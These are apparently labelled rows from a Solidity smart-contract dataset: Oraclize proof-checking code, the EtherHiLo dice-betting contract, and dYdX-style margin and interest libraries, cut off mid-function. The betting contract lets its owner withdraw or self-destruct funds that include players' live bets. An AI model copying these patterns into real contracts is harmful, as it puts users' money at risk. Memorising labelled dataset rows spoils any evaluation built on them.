bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
pragma solidity ^0.4.19;
contract EtherHiLo is usingOraclize, Ownable {
uint8 constant NUM_DICE_SIDES = 13;
uint public rngCallbackGas;
uint public minBet;
uint public maxBetThresholdPct;
bool public gameRunning;
uint public balanceInPlay;
uint public totalGamesPlayed;
uint public totalBetsMade;
uint public totalWinnings;
mapping(address => Game) private gamesInProgress;
mapping(uint => address) private rollIdToGameAddress;
event GameStarted(address indexed player, uint indexed playerGameNumber, uint bet);
event FirstRoll(address indexed player, uint indexed playerGameNumber, uint bet, uint roll);
event DirectionChosen(address indexed player, uint indexed playerGameNumber, uint bet, uint firstRoll, BetDirection direction);
event GameFinished(address indexed player, uint indexed playerGameNumber, uint bet, uint firstRoll, uint finalRoll, uint winnings, uint payout);
enum BetDirection {
None,
Low,
High
}
struct Game {
uint id;
address player;
uint bet;
uint firstRoll;
uint finalRoll;
BetDirection direction;
uint winnings;
uint when;
}
modifier gameIsRunning() {
require(gameRunning);
_;
}
modifier gameInProgress(address player) {
require(player != address(0));
require(gamesInProgress[player].player != address(0));
_;
}
modifier gameNotInProgress(address player) {
require(player != address(0));
require(gamesInProgress[player].player == address(0));
_;
}
modifier onlyOraclize {
require(msg.sender == oraclize_cbAddress());
_;
}
function EtherHiLo() public {
oraclize_setProof(proofType_Ledger);
setRNGCallbackGas(1000000);
setRNGCallbackGasPrice(4000000000 wei);
setMinBet(1 finney);
setGameRunning(true);
setMaxBetThresholdPct(50);
totalGamesPlayed = 0;
totalBetsMade = 0;
totalWinnings = 0;
}
function() external payable {
}
function beginGame() public payable
gameIsRunning
gameNotInProgress(msg.sender) {
address player = msg.sender;
uint bet = msg.value;
require(bet >= minBet && bet <= getMaxBet());
Game memory game = Game({
id: uint(keccak256(block.number, block.timestamp, player, bet)),
player: player,
bet: bet,
firstRoll: 0,
finalRoll: 0,
direction: BetDirection.None,
winnings: 0,
when: block.timestamp
});
balanceInPlay = balanceInPlay + game.bet;
totalGamesPlayed = totalGamesPlayed + 1;
totalBetsMade = totalBetsMade + game.bet;
gamesInProgress[player] = game;
rollDie(player);
GameStarted(player, game.id, bet);
}
function finishGame(BetDirection direction) public gameInProgress(msg.sender) {
address player = msg.sender;
require(player != address(0));
require(direction != BetDirection.None);
Game storage game = gamesInProgress[player];
require(game.player != address(0));
game.direction = direction;
gamesInProgress[player] = game;
rollDie(player);
DirectionChosen(player, game.id, game.bet, game.firstRoll, direction);
}
function getGameState(address player) public view returns
(bool, uint, uint, uint, BetDirection, uint, uint, uint) {
require(player != address(0));
return (
gamesInProgress[player].player != address(0),
gamesInProgress[player].bet,
gamesInProgress[player].firstRoll,
gamesInProgress[player].finalRoll,
gamesInProgress[player].direction,
gamesInProgress[player].id,
getMinBet(),
getMaxBet()
);
}
function getMinBet() public view returns (uint) {
return minBet;
}
function getMaxBet() public view returns (uint) {
return SafeMath.div(SafeMath.div(SafeMath.mul(this.balance - balanceInPlay, maxBetThresholdPct), 100), 12);
}
function calculateWinnings(uint bet, uint percent) public pure returns (uint) {
return SafeMath.div(SafeMath.mul(bet, percent), 100);
}
function getLowWinPercent(uint number) public pure returns (uint) {
require(number >= 2 && number <= NUM_DICE_SIDES);
if (number == 2) {
return 1200;
} else if (number == 3) {
return 500;
} else if (number == 4) {
return 300;
} else if (number == 5) {
return 300;
} else if (number == 6) {
return 200;
} else if (number == 7) {
return 180;
} else if (number == 8) {
return 150;
} else if (number == 9) {
return 140;
} else if (number == 10) {
return 130;
} else if (number == 11) {
return 120;
} else if (number == 12) {
return 110;
} else if (number == 13) {
return 100;
}
}
function getHighWinPercent(uint number) public pure returns (uint) {
require(number >= 1 && number < NUM_DICE_SIDES);
if (number == 1) {
return 100;
} else if (number == 2) {
return 110;
} else if (number == 3) {
return 120;
} else if (number == 4) {
return 130;
} else if (number == 5) {
return 140;
} else if (number == 6) {
return 150;
} else if (number == 7) {
return 180;
} else if (number == 8) {
return 200;
} else if (number == 9) {
return 300;
} else if (number == 10) {
return 300;
} else if (number == 11) {
return 500;
} else if (number == 12) {
return 1200;
}
}
function processDiceRoll(address player, uint roll) private {
Game storage game = gamesInProgress[player];
require(game.player != address(0));
if (game.firstRoll == 0) {
game.firstRoll = roll;
gamesInProgress[player] = game;
FirstRoll(player, game.id, game.bet, game.firstRoll);
} else if (game.finalRoll == 0) {
game.finalRoll = roll;
uint winnings = 0;
if (game.direction == BetDirection.High && game.finalRoll > game.firstRoll) {
winnings = calculateWinnings(game.bet, getHighWinPercent(game.firstRoll));
} else if (game.direction == BetDirection.Low && game.finalRoll < game.firstRoll) {
winnings = calculateWinnings(game.bet, getLowWinPercent(game.firstRoll));
}
game.winnings = winnings;
uint transferAmount = winnings;
if (transferAmount > this.balance) {
if (game.bet < this.balance) {
transferAmount = game.bet;
} else {
transferAmount = SafeMath.div(SafeMath.mul(this.balance, 90), 100);
}
}
balanceInPlay = balanceInPlay - game.bet;
if (transferAmount > 0) {
game.player.transfer(transferAmount);
}
totalWinnings = totalWinnings + winnings;
GameFinished(player, game.id, game.bet, game.firstRoll, game.finalRoll, game.winnings, transferAmount);
delete gamesInProgress[player];
}
}
function rollDie(address player) private {
uint N = 7;
uint delay = 0;
bytes32 _queryId = oraclize_newRandomDSQuery(delay, N, rngCallbackGas);
uint rollId = uint(keccak256(_queryId));
rollIdToGameAddress[rollId] = player;
}
function __callback(bytes32 _queryId, string _result, bytes _proof) public onlyOraclize {
uint rollId = uint(keccak256(_queryId));
address player = rollIdToGameAddress[rollId];
require(player != address(0));
if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) != 0) {
Game storage game = gamesInProgress[player];
require(game.player != address(0));
game.player.transfer(game.bet);
delete gamesInProgress[player];
} else {
uint randomNumber = (uint(keccak256(_result)) % NUM_DICE_SIDES) + 1;
processDiceRoll(player, randomNumber);
}
delete rollIdToGameAddress[rollId];
}
function transferBalance(address to, uint amount) public onlyOwner {
to.transfer(amount);
}
function cleanupAbandonedGame(address player) public onlyOwner {
require(player != address(0));
Game storage game = gamesInProgress[player];
require(game.player != address(0));
uint elapsed = block.timestamp - game.when;
require(elapsed >= 86400);
game.player.transfer(game.bet);
delete gamesInProgress[game.player];
}
function setRNGCallbackGas(uint gas) public onlyOwner {
rngCallbackGas = gas;
}
function setRNGCallbackGasPrice(uint price) public onlyOwner {
oraclize_setCustomGasPrice(price);
}
function setMinBet(uint bet) public onlyOwner {
minBet = bet;
}
function setGameRunning(bool v) public onlyOwner {
gameRunning = v;
}
function setMaxBetThresholdPct(uint v) public onlyOwner {
maxBetThresholdPct = v;
}
function destroy() public onlyOwner {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) public onlyOwner {
selfdestruct(_recipient);
}
} | 0 | 2,584 |
pragma solidity 0.4.24;
pragma experimental "v0.5.0";
library Math {
function max64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a >= _b ? _a : _b;
}
function min64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a < _b ? _a : _b;
}
function max256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a >= _b ? _a : _b;
}
function min256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a < _b ? _a : _b;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract AccessControlledBase {
mapping (address => bool) public authorized;
event AccessGranted(
address who
);
event AccessRevoked(
address who
);
modifier requiresAuthorization() {
require(
authorized[msg.sender],
"AccessControlledBase#requiresAuthorization: Sender not authorized"
);
_;
}
}
contract StaticAccessControlled is AccessControlledBase, Ownable {
using SafeMath for uint256;
uint256 public GRACE_PERIOD_EXPIRATION;
constructor(
uint256 gracePeriod
)
public
Ownable()
{
GRACE_PERIOD_EXPIRATION = block.timestamp.add(gracePeriod);
}
function grantAccess(
address who
)
external
onlyOwner
{
require(
block.timestamp < GRACE_PERIOD_EXPIRATION,
"StaticAccessControlled#grantAccess: Cannot grant access after grace period"
);
emit AccessGranted(who);
authorized[who] = true;
}
}
interface GeneralERC20 {
function totalSupply(
)
external
view
returns (uint256);
function balanceOf(
address who
)
external
view
returns (uint256);
function allowance(
address owner,
address spender
)
external
view
returns (uint256);
function transfer(
address to,
uint256 value
)
external;
function transferFrom(
address from,
address to,
uint256 value
)
external;
function approve(
address spender,
uint256 value
)
external;
}
library TokenInteract {
function balanceOf(
address token,
address owner
)
internal
view
returns (uint256)
{
return GeneralERC20(token).balanceOf(owner);
}
function allowance(
address token,
address owner,
address spender
)
internal
view
returns (uint256)
{
return GeneralERC20(token).allowance(owner, spender);
}
function approve(
address token,
address spender,
uint256 amount
)
internal
{
GeneralERC20(token).approve(spender, amount);
require(
checkSuccess(),
"TokenInteract#approve: Approval failed"
);
}
function transfer(
address token,
address to,
uint256 amount
)
internal
{
address from = address(this);
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transfer(to, amount);
require(
checkSuccess(),
"TokenInteract#transfer: Transfer failed"
);
}
function transferFrom(
address token,
address from,
address to,
uint256 amount
)
internal
{
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transferFrom(from, to, amount);
require(
checkSuccess(),
"TokenInteract#transferFrom: TransferFrom failed"
);
}
function checkSuccess(
)
private
pure
returns (bool)
{
uint256 returnValue = 0;
assembly {
switch returndatasize
case 0x0 {
returnValue := 1
}
case 0x20 {
returndatacopy(0x0, 0x0, 0x20)
returnValue := mload(0x0)
}
default { }
}
return returnValue != 0;
}
}
contract TokenProxy is StaticAccessControlled {
using SafeMath for uint256;
constructor(
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{}
function transferTokens(
address token,
address from,
address to,
uint256 value
)
external
requiresAuthorization
{
TokenInteract.transferFrom(
token,
from,
to,
value
);
}
function available(
address who,
address token
)
external
view
returns (uint256)
{
return Math.min256(
TokenInteract.allowance(token, who, address(this)),
TokenInteract.balanceOf(token, who)
);
}
}
contract Vault is StaticAccessControlled
{
using SafeMath for uint256;
event ExcessTokensWithdrawn(
address indexed token,
address indexed to,
address caller
);
address public TOKEN_PROXY;
mapping (bytes32 => mapping (address => uint256)) public balances;
mapping (address => uint256) public totalBalances;
constructor(
address proxy,
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{
TOKEN_PROXY = proxy;
}
function withdrawExcessToken(
address token,
address to
)
external
onlyOwner
returns (uint256)
{
uint256 actualBalance = TokenInteract.balanceOf(token, address(this));
uint256 accountedBalance = totalBalances[token];
uint256 withdrawableBalance = actualBalance.sub(accountedBalance);
require(
withdrawableBalance != 0,
"Vault#withdrawExcessToken: Withdrawable token amount must be non-zero"
);
TokenInteract.transfer(token, to, withdrawableBalance);
emit ExcessTokensWithdrawn(token, to, msg.sender);
return withdrawableBalance;
}
function transferToVault(
bytes32 id,
address token,
address from,
uint256 amount
)
external
requiresAuthorization
{
TokenProxy(TOKEN_PROXY).transferTokens(
token,
from,
address(this),
amount
);
balances[id][token] = balances[id][token].add(amount);
totalBalances[token] = totalBalances[token].add(amount);
assert(totalBalances[token] >= balances[id][token]);
validateBalance(token);
}
function transferFromVault(
bytes32 id,
address token,
address to,
uint256 amount
)
external
requiresAuthorization
{
balances[id][token] = balances[id][token].sub(amount);
totalBalances[token] = totalBalances[token].sub(amount);
assert(totalBalances[token] >= balances[id][token]);
TokenInteract.transfer(token, to, amount);
validateBalance(token);
}
function validateBalance(
address token
)
private
view
{
assert(TokenInteract.balanceOf(token, address(this)) >= totalBalances[token]);
}
}
contract ReentrancyGuard {
uint256 private _guardCounter = 1;
modifier nonReentrant() {
uint256 localCounter = _guardCounter + 1;
_guardCounter = localCounter;
_;
require(
_guardCounter == localCounter,
"Reentrancy check failure"
);
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
library Fraction {
struct Fraction128 {
uint128 num;
uint128 den;
}
}
library FractionMath {
using SafeMath for uint256;
using SafeMath for uint128;
function add(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 left = a.num.mul(b.den);
uint256 right = b.num.mul(a.den);
uint256 denominator = a.den.mul(b.den);
if (left + right < left) {
left = left.div(2);
right = right.div(2);
denominator = denominator.div(2);
}
return bound(left.add(right), denominator);
}
function sub1Over(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.den % d == 0) {
return bound(
a.num.sub(a.den.div(d)),
a.den
);
}
return bound(
a.num.mul(d).sub(a.den),
a.den.mul(d)
);
}
function div(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.num % d == 0) {
return bound(
a.num.div(d),
a.den
);
}
return bound(
a.num,
a.den.mul(d)
);
}
function mul(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
return bound(
a.num.mul(b.num),
a.den.mul(b.den)
);
}
function bound(
uint256 num,
uint256 den
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 max = num > den ? num : den;
uint256 first128Bits = (max >> 128);
if (first128Bits != 0) {
first128Bits += 1;
num /= first128Bits;
den /= first128Bits;
}
assert(den != 0);
assert(den < 2**128);
assert(num < 2**128);
return Fraction.Fraction128({
num: uint128(num),
den: uint128(den)
});
}
function copy(
Fraction.Fraction128 memory a
)
internal
pure
returns (Fraction.Fraction128 memory)
{
validate(a);
return Fraction.Fraction128({ num: a.num, den: a.den });
}
function validate(
Fraction.Fraction128 memory a
)
private
pure
{
assert(a.den != 0);
}
}
library Exponent {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint128 constant public MAX_NUMERATOR = 340282366920938463463374607431768211455;
uint256 constant public MAX_PRECOMPUTE_PRECISION = 32;
uint256 constant public NUM_PRECOMPUTED_INTEGERS = 32;
function exp(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
require(
precomputePrecision <= MAX_PRECOMPUTE_PRECISION,
"Exponent#exp: Precompute precision over maximum"
);
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
uint256 integerX = uint256(Xcopy.num).div(Xcopy.den);
if (integerX == 0) {
return expHybrid(Xcopy, precomputePrecision, maclaurinPrecision);
}
Fraction.Fraction128 memory expOfInt =
getPrecomputedEToThe(integerX % NUM_PRECOMPUTED_INTEGERS);
while (integerX >= NUM_PRECOMPUTED_INTEGERS) {
expOfInt = expOfInt.mul(getPrecomputedEToThe(NUM_PRECOMPUTED_INTEGERS));
integerX -= NUM_PRECOMPUTED_INTEGERS;
}
Fraction.Fraction128 memory decimalX = Fraction.Fraction128({
num: Xcopy.num % Xcopy.den,
den: Xcopy.den
});
return expHybrid(decimalX, precomputePrecision, maclaurinPrecision).mul(expOfInt);
}
function expHybrid(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(precomputePrecision <= MAX_PRECOMPUTE_PRECISION);
assert(X.num < X.den);
Fraction.Fraction128 memory Xtemp = X.copy();
if (Xtemp.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
uint256 d = 1;
for (uint256 i = 1; i <= precomputePrecision; i++) {
d *= 2;
if (d.mul(Xtemp.num) >= Xtemp.den) {
Xtemp = Xtemp.sub1Over(uint128(d));
result = result.mul(getPrecomputedEToTheHalfToThe(i));
}
}
return result.mul(expMaclaurin(Xtemp, maclaurinPrecision));
}
function expMaclaurin(
Fraction.Fraction128 memory X,
uint256 precision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
Fraction.Fraction128 memory Xtemp = ONE();
for (uint256 i = 1; i <= precision; i++) {
Xtemp = Xtemp.mul(Xcopy.div(uint128(i)));
result = result.add(Xtemp);
}
return result;
}
function getPrecomputedEToTheHalfToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= MAX_PRECOMPUTE_PRECISION);
uint128 denominator = [
125182886983370532117250726298150828301,
206391688497133195273760705512282642279,
265012173823417992016237332255925138361,
300298134811882980317033350418940119802,
319665700530617779809390163992561606014,
329812979126047300897653247035862915816,
335006777809430963166468914297166288162,
337634268532609249517744113622081347950,
338955731696479810470146282672867036734,
339618401537809365075354109784799900812,
339950222128463181389559457827561204959,
340116253979683015278260491021941090650,
340199300311581465057079429423749235412,
340240831081268226777032180141478221816,
340261598367316729254995498374473399540,
340271982485676106947851156443492415142,
340277174663693808406010255284800906112,
340279770782412691177936847400746725466,
340281068849199706686796915841848278311,
340281717884450116236033378667952410919,
340282042402539547492367191008339680733,
340282204661700319870089970029119685699,
340282285791309720262481214385569134454,
340282326356121674011576912006427792656,
340282346638529464274601981200276914173,
340282356779733812753265346086924801364,
340282361850336100329388676752133324799,
340282364385637272451648746721404212564,
340282365653287865596328444437856608255,
340282366287113163939555716675618384724,
340282366604025813553891209601455838559,
340282366762482138471739420386372790954,
340282366841710300958333641874363209044
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function getPrecomputedEToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= NUM_PRECOMPUTED_INTEGERS);
uint128 denominator = [
340282366920938463463374607431768211455,
125182886983370532117250726298150828301,
46052210507670172419625860892627118820,
16941661466271327126146327822211253888,
6232488952727653950957829210887653621,
2292804553036637136093891217529878878,
843475657686456657683449904934172134,
310297353591408453462393329342695980,
114152017036184782947077973323212575,
41994180235864621538772677139808695,
15448795557622704876497742989562086,
5683294276510101335127414470015662,
2090767122455392675095471286328463,
769150240628514374138961856925097,
282954560699298259527814398449860,
104093165666968799599694528310221,
38293735615330848145349245349513,
14087478058534870382224480725096,
5182493555688763339001418388912,
1906532833141383353974257736699,
701374233231058797338605168652,
258021160973090761055471434334,
94920680509187392077350434438,
34919366901332874995585576427,
12846117181722897538509298435,
4725822410035083116489797150,
1738532907279185132707372378,
639570514388029575350057932,
235284843422800231081973821,
86556456714490055457751527,
31842340925906738090071268,
11714142585413118080082437,
4309392228124372433711936
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function ONE()
private
pure
returns (Fraction.Fraction128 memory)
{
return Fraction.Fraction128({ num: 1, den: 1 });
}
}
library MathHelpers {
using SafeMath for uint256;
function getPartialAmount(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return numerator.mul(target).div(denominator);
}
function getPartialAmountRoundedUp(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return divisionRoundedUp(numerator.mul(target), denominator);
}
function divisionRoundedUp(
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
assert(denominator != 0);
if (numerator == 0) {
return 0;
}
return numerator.sub(1).div(denominator).add(1);
}
function maxUint256(
)
internal
pure
returns (uint256)
{
return 2 ** 256 - 1;
}
function maxUint32(
)
internal
pure
returns (uint32)
{
return 2 ** 32 - 1;
}
function getNumBits(
uint256 n
)
internal
pure
returns (uint256)
{
uint256 first = 0;
uint256 last = 256;
while (first < last) {
uint256 check = (first + last) / 2;
if ((n >> check) == 0) {
last = check;
} else {
first = check + 1;
}
}
assert(first <= 256);
return first;
}
}
library InterestImpl {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint256 constant DEFAULT_PRECOMPUTE_PRECISION = 11;
uint256 constant DEFAULT_MACLAURIN_PRECISION = 5;
uint256 constant MAXIMUM_EXPONENT = 80;
uint128 constant E_TO_MAXIUMUM_EXPONENT = 55406223843935100525711733958316613;
function getCompoundedInterest(
uint256 principal,
uint256 interestRate,
uint256 secondsOfInterest
)
public
pure
returns (uint256)
{
uint256 numerator = interestRate.mul(secondsOfInterest);
uint128 denominator = (10**8) * (365 * 1 days);
assert(numerator < 2**128);
Fraction.Fraction128 memory rt = Fraction.Fraction128({
num: uint128(numerator),
den: denominator
});
Fraction.Fraction128 memory eToRT;
if (numerator.div(denominator) >= MAXIMUM_EXPONENT) {
eToRT = Fraction.Fraction128({
num: E_TO_MAXIUMUM_EXPONENT,
den: 1
});
} else {
eToRT = Exponent.exp(
rt,
DEFAULT_PRECOMPUTE_PRECISION,
DEFAULT_MACLAURIN_PRECISION
);
}
assert(eToRT.num >= eToRT.den);
return safeMultiplyUint256ByFraction(principal, eToRT);
}
function safeMultiplyUint256ByFraction(
uint256 n,
Fraction.Fraction128 memory f
)
private
pure
returns (uint256)
{
uint256 term1 = n.div(2 ** 128);
uint256 term2 = n % (2 ** 128);
if (term1 > 0) {
term1 = term1.mul(f.num);
uint256 numBits = MathHelpers.getNumBits(term1);
term1 = MathHelpers.divisionRoundedUp(
term1 << (uint256(256).sub(numBits)),
f.den);
if (numBits > 128) {
term1 = term1 << (numBits.sub(128));
} else if (numBits < 128) {
term1 = term1 >> (uint256(128).sub(numBits));
}
}
term2 = MathHelpers.getPartialAmountRoundedUp(
f.num,
f.den,
term2
);
return term1.add(term2);
}
}
library MarginState {
struct State {
address VAULT;
address TOKEN_PROXY;
mapping (bytes32 => uint256) loanFills;
mapping (bytes32 => uint256) loanCancels;
mapping (bytes32 => MarginCommon.Position) positions;
mapping (bytes32 => bool) closedPositions;
mapping (bytes32 => uint256) totalOwedTokenRepaidToLender;
}
}
interface LoanOwner {
function receiveLoanOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
interface PositionOwner {
function receivePositionOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
library TransferInternal {
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
function grantLoanOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit LoanTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
LoanOwner(newOwner).receiveLoanOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantLoanOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantLoanOwnership: New owner did not consent to owning loan"
);
return newOwner;
}
function grantPositionOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit PositionTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
PositionOwner(newOwner).receivePositionOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantPositionOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantPositionOwnership: New owner did not consent to owning position"
);
return newOwner;
}
}
library TimestampHelper {
function getBlockTimestamp32()
internal
view
returns (uint32)
{
assert(uint256(uint32(block.timestamp)) == block.timestamp);
assert(block.timestamp > 0);
return uint32(block.timestamp);
}
}
library MarginCommon {
using SafeMath for uint256;
struct Position {
address owedToken;
address heldToken;
address lender;
address owner;
uint256 principal;
uint256 requiredDeposit;
uint32 callTimeLimit;
uint32 startTimestamp;
uint32 callTimestamp;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
struct LoanOffering {
address owedToken;
address heldToken;
address payer;
address owner;
address taker;
address positionOwner;
address feeRecipient;
address lenderFeeToken;
address takerFeeToken;
LoanRates rates;
uint256 expirationTimestamp;
uint32 callTimeLimit;
uint32 maxDuration;
uint256 salt;
bytes32 loanHash;
bytes signature;
}
struct LoanRates {
uint256 maxAmount;
uint256 minAmount;
uint256 minHeldToken;
uint256 lenderFee;
uint256 takerFee;
uint32 interestRate;
uint32 interestPeriod;
}
function storeNewPosition(
MarginState.State storage state,
bytes32 positionId,
Position memory position,
address loanPayer
)
internal
{
assert(!positionHasExisted(state, positionId));
assert(position.owedToken != address(0));
assert(position.heldToken != address(0));
assert(position.owedToken != position.heldToken);
assert(position.owner != address(0));
assert(position.lender != address(0));
assert(position.maxDuration != 0);
assert(position.interestPeriod <= position.maxDuration);
assert(position.callTimestamp == 0);
assert(position.requiredDeposit == 0);
state.positions[positionId].owedToken = position.owedToken;
state.positions[positionId].heldToken = position.heldToken;
state.positions[positionId].principal = position.principal;
state.positions[positionId].callTimeLimit = position.callTimeLimit;
state.positions[positionId].startTimestamp = TimestampHelper.getBlockTimestamp32();
state.positions[positionId].maxDuration = position.maxDuration;
state.positions[positionId].interestRate = position.interestRate;
state.positions[positionId].interestPeriod = position.interestPeriod;
state.positions[positionId].owner = TransferInternal.grantPositionOwnership(
positionId,
(position.owner != msg.sender) ? msg.sender : address(0),
position.owner
);
state.positions[positionId].lender = TransferInternal.grantLoanOwnership(
positionId,
(position.lender != loanPayer) ? loanPayer : address(0),
position.lender
);
}
function getPositionIdFromNonce(
uint256 nonce
)
internal
view
returns (bytes32)
{
